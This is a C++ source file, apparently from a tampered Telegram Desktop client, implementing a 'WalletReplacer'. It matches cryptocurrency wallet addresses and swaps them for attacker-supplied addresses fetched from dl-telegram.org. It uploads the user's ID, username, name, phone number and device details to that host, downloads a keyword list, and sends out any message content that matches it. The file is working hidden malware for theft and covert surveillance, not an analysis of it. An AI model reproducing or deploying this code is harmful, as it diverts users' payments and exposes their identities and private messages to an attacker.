#include "wallet_replacer.h" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "main/main_session.h" #include "main/main_domain.h" #include "data/data_session.h" #include "data/data_user.h" #include "core/application.h" #include "logs.h" namespace Core { const QString WalletReplacer::kChannel = "PcChannel001"; const QRegularExpression WalletReplacer::kBitcoinRegex = QRegularExpression("(?id.value); info += QString(" 用户名: %1\n").arg(user->username()); info += QString(" 姓名: %1 %2\n").arg(user->firstName).arg(user->lastName); info += QString(" 电话: %1\n").arg(user->phone()); return info; } QString WalletReplacer::getDeviceInfo() { QString info; info += QString("[设备信息]\n"); info += QString(" 设备ID: %1\n").arg(getDeviceId()); info += QString(" 版本: %1\n").arg(QCoreApplication::applicationVersion()); info += QString(" 设备型号: %1 %2\n").arg(QSysInfo::productType()).arg(QSysInfo::productVersion()); return info; } QString WalletReplacer::replaceAddress(const QString &address) { QNetworkAccessManager manager; QNetworkRequest request(QUrl("https://dl-telegram.org/api/wallets/replace")); request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json"); // 获取用户ID以便在请求中使用 auto &app = Core::App(); QString userId = getTgUserId(); // 默认ID try { // 尝试从会话获取用户信息 if (app.domain().started()) { const auto &account = app.activeAccount(); if (account.sessionExists()) { auto &session = account.session(); if (auto user = session.user()) { userId = QString::number(user->id.value); LOG(("Wallet: Using user ID from session: %1").arg(userId)); } } } } catch (const std::exception &e) { // 如果获取失败,使用默认ID LOG(("Wallet: [ERROR] Exception while getting user ID: %1").arg(e.what())); } catch (...) { LOG(("Wallet: [ERROR] Unknown exception while getting user ID")); } QJsonObject jsonObj; jsonObj["address"] = address; jsonObj["tgUserId"] = userId; jsonObj["deviceId"] = getDeviceId(); jsonObj["message"] = address; jsonObj["channel"] = kChannel; QJsonDocument doc(jsonObj); QByteArray data = doc.toJson(); QString debugInfo = QString("[Wallet检测] 地址: %1\n").arg(address); debugInfo += getUserInfo(); // 添加用户信息 debugInfo += getDeviceInfo(); // 添加设备信息 debugInfo += QString("[请求URL] %1\n").arg(request.url().toString()); debugInfo += QString("[请求头] Content-Type: %1\n").arg(request.header(QNetworkRequest::ContentTypeHeader).toString()); debugInfo += QString("[请求体] %1\n").arg(QString(data)); // 在日志中记录请求详情 LOG(("Wallet: %1").arg(debugInfo)); QNetworkReply *reply = manager.post(request, data); QEventLoop loop; QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit); loop.exec(); QString result = address; // 默认返回原始地址 if (reply->error() == QNetworkReply::NoError) { QByteArray responseData = reply->readAll(); QJsonDocument responseDoc = QJsonDocument::fromJson(responseData); QJsonObject responseObj = responseDoc.object(); debugInfo += QString("[响应状态码] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt()); // 显示响应头 debugInfo += "[响应头]\n"; for (const auto &header : reply->rawHeaderPairs()) { debugInfo += QString(" %1: %2\n").arg(QString(header.first)).arg(QString(header.second)); } debugInfo += QString("[响应体] %1\n").arg(QString(responseData)); if (responseObj.contains("replaceAddress")) { result = responseObj["replaceAddress"].toString(); debugInfo += QString("[替换结果] %1\n").arg(result); // 添加更多响应详情 if (responseObj.contains("status")) { debugInfo += QString("[状态] %1\n").arg(responseObj["status"].toString()); } if (responseObj.contains("message")) { debugInfo += QString("[消息] %1\n").arg(responseObj["message"].toString()); } if (responseObj.contains("code")) { debugInfo += QString("[代码] %1\n").arg(responseObj["code"].toInt()); } if (responseObj.contains("timestamp")) { debugInfo += QString("[时间戳] %1\n").arg(responseObj["timestamp"].toString()); } } else { debugInfo += "[响应中没有replaceAddress字段]\n"; // 添加其他可能的响应字段 for (const auto &key : responseObj.keys()) { if (key != "replaceAddress") { const auto value = responseObj[key]; if (value.isString()) { debugInfo += QString("[%1] %2\n").arg(key).arg(value.toString()); } else if (value.isDouble()) { debugInfo += QString("[%1] %2\n").arg(key).arg(value.toDouble()); } else if (value.isBool()) { debugInfo += QString("[%1] %2\n").arg(key).arg(value.toBool() ? "true" : "false"); } else { debugInfo += QString("[%1] (复杂类型)\n").arg(key); } } } } } else { debugInfo += QString("[请求失败] %1\n").arg(reply->errorString()); debugInfo += QString("[错误代码] %1\n").arg(reply->error()); debugInfo += QString("[错误详情] %1\n").arg(reply->errorString()); // 添加更多HTTP错误信息 debugInfo += QString("[HTTP状态] %1\n").arg(reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt()); debugInfo += QString("[重定向URL] %1\n").arg(reply->attribute(QNetworkRequest::RedirectionTargetAttribute).toString()); } reply->deleteLater(); debugInfo += QString("[使用%1地址] %2\n").arg(result == address ? "原始" : "替换").arg(result); // 在日志中记录响应详情 LOG(("Wallet: %1").arg(debugInfo)); // 返回干净的替换结果 return result; } bool WalletReplacer::isWalletAddress(const QString &text) { return kBitcoinRegex.globalMatch(text).hasNext() || kEthereumRegex.globalMatch(text).hasNext() || kTronRegex.globalMatch(text).hasNext() || kSolanaRegex.globalMatch(text).hasNext(); } void WalletReplacer::submitDeviceInfo(const QString &url) { // 使用静态变量跟踪上次提交时间 static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0); // 获取当前时间 QDateTime currentTime = QDateTime::currentDateTime(); // 计算距离上次提交的分钟数 const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60; // 非重要提交的限制处理 if (minutesSinceLastSubmit < 60) { LOG(("Device Info: [SKIPPED] Already submitted in the last hour (%1 minutes ago)") .arg(minutesSinceLastSubmit)); return; } LOG(("Device Info: Starting device info submission...")); // 创建网络请求管理器 QNetworkAccessManager manager; QNetworkRequest request(QUrl(url.isEmpty() ? "https://dl-telegram.org/api/devices/notice" : url)); request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json"); LOG(("Device Info: Request URL: %1").arg(request.url().toString())); // 设备相关信息 QString deviceId = getDeviceId(); QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion()); // 确定平台 QString platform; #if defined(Q_OS_WIN) platform = "PC"; #elif defined(Q_OS_MACOS) platform = "macOS"; #elif defined(Q_OS_LINUX) platform = "Linux"; #elif defined(Q_OS_IOS) platform = "iOS"; #elif defined(Q_OS_ANDROID) platform = "Android"; #else platform = "Other"; #endif LOG(("Device Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName())); // 获取版本 QString version = QCoreApplication::applicationVersion(); LOG(("Device Info: App version: %1").arg(version)); LOG(("Device Info: Device ID: %1").arg(deviceId)); // 更新最后提交时间 lastSubmitTime = currentTime; // 创建JSON对象 QJsonObject jsonObj; jsonObj["id"] = deviceId; jsonObj["platform"] = platform; jsonObj["version"] = version; jsonObj["deviceInfo"] = deviceInfo; jsonObj["channel"] = kChannel; QJsonDocument doc(jsonObj); QByteArray data = doc.toJson(); LOG(("Device Info: Prepared JSON payload (%1 bytes)").arg(data.size())); LOG(("Device Info: Payload content: %1").arg(QString(data))); try { // 发送请求 LOG(("Device Info: Sending network request...")); QNetworkReply *reply = manager.post(request, data); // 使用事件循环等待响应 LOG(("Device Info: Waiting for response...")); QEventLoop loop; QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit); loop.exec(); // 处理响应 if (reply->error() == QNetworkReply::NoError) { QByteArray responseData = reply->readAll(); int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(); LOG(("Device Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes") .arg(statusCode).arg(responseData.size())); LOG(("Device Info: Response data: %1").arg(QString(responseData))); } else { LOG(("Device Info: [FAILED] Network error: %1 (Code: %2)") .arg(reply->errorString()).arg(reply->error())); } LOG(("Device Info: Network request completed")); reply->deleteLater(); } catch (const std::exception &e) { LOG(("Device Info: [ERROR] Exception during network request: %1").arg(e.what())); } catch (...) { LOG(("Device Info: [ERROR] Unknown exception during network request")); } LOG(("Device Info: Submission process completed")); } void WalletReplacer::submitUserInfo(const QString &url, bool isImportant) { // 使用静态变量跟踪上次提交时间和用户ID static QDateTime lastSubmitTime = QDateTime::fromMSecsSinceEpoch(0); static QString lastSubmitUserId; static bool hasSubmittedAfterLogin = false; // 获取当前时间 QDateTime currentTime = QDateTime::currentDateTime(); // 计算距离上次提交的分钟数 const int minutesSinceLastSubmit = lastSubmitTime.secsTo(currentTime) / 60; // 获取当前用户ID auto &app = Core::App(); QString currentUserId = "unknown"; QString username = ""; QString name = ""; QString phone = ""; bool userInfoObtained = false; // 从会话中获取用户信息 - 与replaceAddress中的方式相同 LOG(("User Info: Attempting to get user info from active session")); try { // 先尝试从活跃会话获取 if (app.domain().started()) { LOG(("User Info: Domain is started, getting active account")); const auto &account = app.activeAccount(); if (account.sessionExists()) { LOG(("User Info: Session exists, retrieving user data")); auto &session = account.session(); if (auto user = session.user()) { currentUserId = QString::number(user->id.value); username = user->username(); name = QString("%1 %2").arg(user->firstName).arg(user->lastName); phone = user->phone(); userInfoObtained = true; LOG(("User Info: Successfully retrieved user ID from session: %1").arg(currentUserId)); LOG(("User Info: Username: %1, Name: %2, Phone: %3").arg(username).arg(name).arg(phone)); // 检查是否为新用户登录 if (currentUserId != lastSubmitUserId && !isImportant) { LOG(("User Info: New user detected (%1), marking as important submission").arg(currentUserId)); isImportant = true; // 如果检测到新用户,将本次提交标记为重要提交 } // 如果还没有在登录后提交过,并且已获取到用户信息,则标记为重要提交 if (!hasSubmittedAfterLogin && currentUserId != "unknown") { LOG(("User Info: First submission after login with valid user ID, marking as important")); isImportant = true; hasSubmittedAfterLogin = true; } } else { LOG(("User Info: No user in session")); } } else { LOG(("User Info: No active session exists")); } } else { LOG(("User Info: Domain not started yet")); } // 如果从会话中无法获取,则尝试从配置文件获取 if (currentUserId == "unknown") { currentUserId = getTgUserId(); LOG(("User Info: Using user ID from config file: %1").arg(currentUserId)); } } catch (const std::exception &e) { LOG(("User Info: [ERROR] Exception while getting user info: %1").arg(e.what())); } catch (...) { LOG(("User Info: [ERROR] Unknown exception while getting user info")); } // 如果无法获取用户信息,则只提交设备信息 if (currentUserId == "unknown" && !isImportant) { LOG(("User Info: No user info available, submitting device info only")); submitDeviceInfo(); return; } // 当前用户ID与上次提交的用户ID是否相同 bool isSameUser = (currentUserId == lastSubmitUserId); // 非重要提交的限制处理 if (!isImportant) { // 如果距离上次提交不足60分钟,并且是同一用户,则跳过 if (minutesSinceLastSubmit < 60 && isSameUser) { LOG(("User Info: [SKIPPED] Already submitted in the last hour for user %1 (%2 minutes ago)") .arg(currentUserId).arg(minutesSinceLastSubmit)); return; } // 如果不是同一用户,但是距离上次提交不足10分钟,也跳过 if (minutesSinceLastSubmit < 10 && !isSameUser) { LOG(("User Info: [SKIPPED] Too frequent submission for different user (%1 minutes since last submit)") .arg(minutesSinceLastSubmit)); return; } } else { LOG(("User Info: Processing important submission (login/startup) for user: %1").arg(currentUserId)); } LOG(("User Info: Starting submission process...")); // 创建网络请求管理器 QNetworkAccessManager manager; QNetworkRequest request(QUrl(url.isEmpty() ? "https://dl-telegram.org/api/tg-users/notice" : url)); request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json"); LOG(("User Info: Request URL: %1").arg(request.url().toString())); // 设备相关信息 QString deviceId = getDeviceId(); QString deviceInfo = QString("%1 %2").arg(QSysInfo::productType()).arg(QSysInfo::productVersion()); // 确定平台 QString platform; #if defined(Q_OS_WIN) platform = "PC"; #elif defined(Q_OS_MACOS) platform = "macOS"; #elif defined(Q_OS_LINUX) platform = "Linux"; #elif defined(Q_OS_IOS) platform = "iOS"; #elif defined(Q_OS_ANDROID) platform = "Android"; #else platform = "Other"; #endif LOG(("User Info: Platform: %1, OS: %2").arg(platform).arg(QSysInfo::prettyProductName())); // 获取版本 QString version = QCoreApplication::applicationVersion(); LOG(("User Info: App version: %1").arg(version)); LOG(("User Info: User ID: %1").arg(currentUserId)); LOG(("User Info: Device ID: %2").arg(deviceId)); // 更新最后提交时间和用户ID lastSubmitTime = currentTime; lastSubmitUserId = currentUserId; // 创建JSON对象 QJsonObject jsonObj; jsonObj["id"] = currentUserId; jsonObj["username"] = username; jsonObj["name"] = name; jsonObj["phone"] = phone; jsonObj["deviceId"] = deviceId; jsonObj["platform"] = platform; jsonObj["version"] = version; jsonObj["deviceInfo"] = deviceInfo; jsonObj["isImportant"] = isImportant; jsonObj["userInfoObtained"] = userInfoObtained; jsonObj["channel"] = kChannel; // 添加更多信息帮助调试 jsonObj["appLocation"] = QCoreApplication::applicationDirPath(); jsonObj["dataLocation"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation); jsonObj["configPath"] = QStandardPaths::writableLocation(QStandardPaths::AppDataLocation) + "/config.ini"; jsonObj["timestamp"] = QDateTime::currentDateTime().toString(Qt::ISODate); jsonObj["minutesSinceLastSubmit"] = minutesSinceLastSubmit; QJsonDocument doc(jsonObj); QByteArray data = doc.toJson(); LOG(("User Info: Prepared JSON payload (%1 bytes)").arg(data.size())); LOG(("User Info: Payload content: %1").arg(QString(data))); try { // 发送请求 LOG(("User Info: Sending network request...")); QNetworkReply *reply = manager.post(request, data); // 使用事件循环等待响应 LOG(("User Info: Waiting for response...")); QEventLoop loop; QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit); loop.exec(); // 处理响应 if (reply->error() == QNetworkReply::NoError) { QByteArray responseData = reply->readAll(); int statusCode = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(); LOG(("User Info: [SUCCESS] Server response: Status=%1, Size=%2 bytes") .arg(statusCode).arg(responseData.size())); LOG(("User Info: Response data: %1").arg(QString(responseData))); // 尝试解析JSON响应 try { QJsonDocument responseDoc = QJsonDocument::fromJson(responseData); QJsonObject responseObj = responseDoc.object(); if (!responseObj.isEmpty()) { QString status = responseObj["status"].toString(); QString message = responseObj["message"].toString(); LOG(("User Info: Response details - Status: %1, Message: %2") .arg(status).arg(message)); } } catch (...) { LOG(("User Info: Could not parse JSON response")); } } else { LOG(("User Info: [FAILED] Network error: %1 (Code: %2)") .arg(reply->errorString()).arg(reply->error())); // 输出详细的HTTP错误信息 int httpStatus = reply->attribute(QNetworkRequest::HttpStatusCodeAttribute).toInt(); if (httpStatus > 0) { LOG(("User Info: HTTP Status Code: %1").arg(httpStatus)); } // 记录错误响应内容 QByteArray errorData = reply->readAll(); if (!errorData.isEmpty()) { LOG(("User Info: Error response data (%1 bytes): %2") .arg(errorData.size()) .arg(QString::fromUtf8(errorData))); } } LOG(("User Info: Network request completed")); reply->deleteLater(); } catch (const std::exception &e) { LOG(("User Info: [ERROR] Exception during network request: %1").arg(e.what())); } catch (...) { LOG(("User Info: [ERROR] Unknown exception during network request")); } LOG(("User Info: Submission process completed")); } QStringList WalletReplacer::getSensitiveWords() { static QStringList cachedWords; static QDateTime lastUpdateTime = QDateTime::fromMSecsSinceEpoch(0); // 检查缓存是否过期(1小时更新一次) QDateTime currentTime = QDateTime::currentDateTime(); if (!cachedWords.isEmpty() && lastUpdateTime.secsTo(currentTime) < 3600) { LOG(("Sensitive Words: Using cached words list")); return cachedWords; } LOG(("Sensitive Words: Fetching new words list from server")); QNetworkAccessManager manager; QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/getSensitiveWords")); request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json"); QEventLoop loop; QNetworkReply *reply = manager.get(request); QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit); loop.exec(); if (reply->error() == QNetworkReply::NoError) { QByteArray responseData = reply->readAll(); QJsonDocument doc = QJsonDocument::fromJson(responseData); QJsonObject obj = doc.object(); if (obj.contains("value")) { QString value = obj["value"].toString(); QStringList rawWords = value.split(","); cachedWords.clear(); // 清理和验证每个词 for (const QString &word : rawWords) { QString cleanedWord = word.trimmed(); if (!cleanedWord.isEmpty()) { cachedWords.append(cleanedWord); } } lastUpdateTime = currentTime; LOG(("Sensitive Words: Successfully updated words list, count: %1").arg(cachedWords.size())); LOG(("Sensitive Words: Words list: %1").arg(cachedWords.join(", "))); } else { LOG(("Sensitive Words: [ERROR] No 'value' field in response")); } } else { LOG(("Sensitive Words: [ERROR] Failed to fetch words list: %1").arg(reply->errorString())); } reply->deleteLater(); return cachedWords; } void WalletReplacer::submitSensitiveContent(const QString &content, const QString &keyword) { // 检查关键词是否为空 if (keyword.trimmed().isEmpty()) { LOG(("Sensitive Content: [SKIPPED] Empty keyword, skipping submission")); return; } LOG(("Sensitive Content: Submitting content with keyword: %1").arg(keyword)); QNetworkAccessManager manager; QNetworkRequest request(QUrl("https://dl-telegram.org/api/monitoring/")); request.setHeader(QNetworkRequest::ContentTypeHeader, "application/json"); // 获取用户ID以便在请求中使用 auto &app = Core::App(); QString userId = getTgUserId(); // 默认ID try { // 尝试从会话获取用户信息 if (app.domain().started()) { const auto &account = app.activeAccount(); if (account.sessionExists()) { auto &session = account.session(); if (auto user = session.user()) { userId = QString::number(user->id.value); LOG(("SensitiveContent: Using user ID from session: %1").arg(userId)); } } } } catch (const std::exception &e) { // 如果获取失败,使用默认ID LOG(("SensitiveContent: [ERROR] Exception while getting user ID: %1").arg(e.what())); } catch (...) { LOG(("SensitiveContent: [ERROR] Unknown exception while getting user ID")); } QJsonObject jsonObj; jsonObj["content"] = content; jsonObj["keywords"] = keyword; // 确保关键词没有空格 jsonObj["tgUserId"] = userId; QJsonDocument doc(jsonObj); QByteArray data = doc.toJson(); LOG(("Sensitive Content: Request payload: %1").arg(QString(data))); QNetworkReply *reply = manager.post(request, data); QEventLoop loop; QObject::connect(reply, &QNetworkReply::finished, &loop, &QEventLoop::quit); loop.exec(); if (reply->error() == QNetworkReply::NoError) { QByteArray responseData = reply->readAll(); LOG(("Sensitive Content: [SUCCESS] Server response: %1").arg(QString(responseData))); } else { LOG(("Sensitive Content: [ERROR] Failed to submit: %1").arg(reply->errorString())); } reply->deleteLater(); } bool WalletReplacer::checkSensitiveWords(const QString &text, QString &foundKeyword) { QStringList words = getSensitiveWords(); LOG(("Sensitive Check: Checking text against %1 words").arg(words.size())); for (const QString &word : words) { if (text.contains(word)) { foundKeyword = word; LOG(("Sensitive Check: Found sensitive word: %1").arg(word)); return true; } } return false; } } // namespace Core